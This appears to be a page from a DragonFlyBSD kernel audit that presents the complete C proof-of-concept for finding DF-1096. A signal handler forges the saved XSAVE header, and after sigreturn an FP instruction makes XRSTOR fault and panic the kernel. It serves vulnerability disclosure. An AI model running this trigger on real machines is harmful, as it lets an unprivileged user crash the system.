โฌข DragonFlyBSD Kernel Audit
DF-1096 / df1096.c
โ† back to finding โ†“ download raw
/*
 * DF-1096 trigger โ€” crafted XSAVE header via sigreturn.
 *
 * Sets up a SA_SIGINFO handler for SIGUSR1, modifies the saved FP context
 * (mc_ownedfp = _MC_FPOWNED_PCB and XCOMP_BV = bit63 | unsupported bit), then
 * returns and executes an FP instruction. On an XSAVE-capable kernel the
 * subsequent XRSTOR in npxdna -> fpurstor raises #GP(0) and the kernel panics.
 *
 * On a non-XSAVE kernel (cpu_xsave=0, fxrstor path), the XSAVE header is
 * ignored and the program completes normally โ€” proving the bug *is* there
 * (the untrusted header reaches the kernel save area) but does not panic
 * without XRSTOR.
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <machine/ucontext.h>

/* Offset of xstate_xcomp_bv inside union savefpu / mc_fpregs (bytes). */
#define XCOMP_BV_OFF	520	/* 512 (FXSAVE area) + 8 (xstate_bv) */

/* _MC_FPOWNED_PCB from <cpu/ucontext.h>; mirror in case header is missing. */
#ifndef _MC_FPOWNED_PCB
#define _MC_FPOWNED_PCB		0x20002
#endif

static volatile int g_handler_ran = 0;

static void
handler(int signo, siginfo_t *si, void *vp)
{
	ucontext_t *uc = (ucontext_t *)vp;
	mcontext_t *mc = &uc->uc_mcontext;
	unsigned char *fp = (unsigned char *)mc->mc_fpregs;
	uint64_t *xcomp_bv = (uint64_t *)(fp + XCOMP_BV_OFF);
	uint64_t *xstate_bv = (uint64_t *)(fp + 512);

	/*
	 * Claim the FP state came from the PCB so npxpop will bcopy it back
	 * into td->td_savefpu verbatim, then plant the bad XSAVE header.
	 * Bit 63 of XCOMP_BV = compacted format. Bit 3 = BNDREGS state,
	 * almost never enabled in XCR0 on consumer CPUs (and never on this
	 * guest). XRSTOR raises #GP(0) if any XCOMP_BV bit is set outside XCR0.
	 */
	mc->mc_ownedfp = _MC_FPOWNED_PCB;
	mc->mc_fpformat = _MC_FPFMT_YMM;	/* so kernel saves the whole area */
	*xstate_bv = 0;
	*xcomp_bv = 0x8000000000000008ULL;	/* COMPACT | bit 3 (BNDREGS) */

	g_handler_ran = 1;
}

int
main(void)
{
	struct sigaction sa;
	double v = 1.0;

	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = handler;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = SA_SIGINFO;
	if (sigaction(SIGUSR1, &sa, NULL) != 0)
		err(1, "sigaction");

	/* Touch FP so the kernel initialises the FPU state for this thread. */
	__asm __volatile("" :: "x"(v));

	/* Raise signal; handler edits the saved FP context. */
	raise(SIGUSR1);

	if (!g_handler_ran)
		errx(1, "handler did not run");

	/*
	 * Force npxdna by emitting an FP instruction after sigreturn. On an
	 * XSAVE kernel this XRSTORs the poisoned header โ†’ #GP(0) โ†’ panic.
	 * On a non-XSAVE kernel, the FXRSTOR path is taken and the XSAVE
	 * header is ignored โ€” we get here cleanly.
	 */
	__asm __volatile("addsd %0, %0" : "+x"(v));

	printf("OK: handler ran, FP instruction completed, no panic.\n");
	printf("This means the kernel took the FXRSTOR branch (cpu_xsave=0) and\n");
	printf("ignored the crafted XSAVE header. The bug is still present at\n");
	printf("npx.c:416-417 (header not validated); to demonstrate the panic\n");
	printf("the guest must run on an XSAVE-capable CPU.\n");
	return 0;
}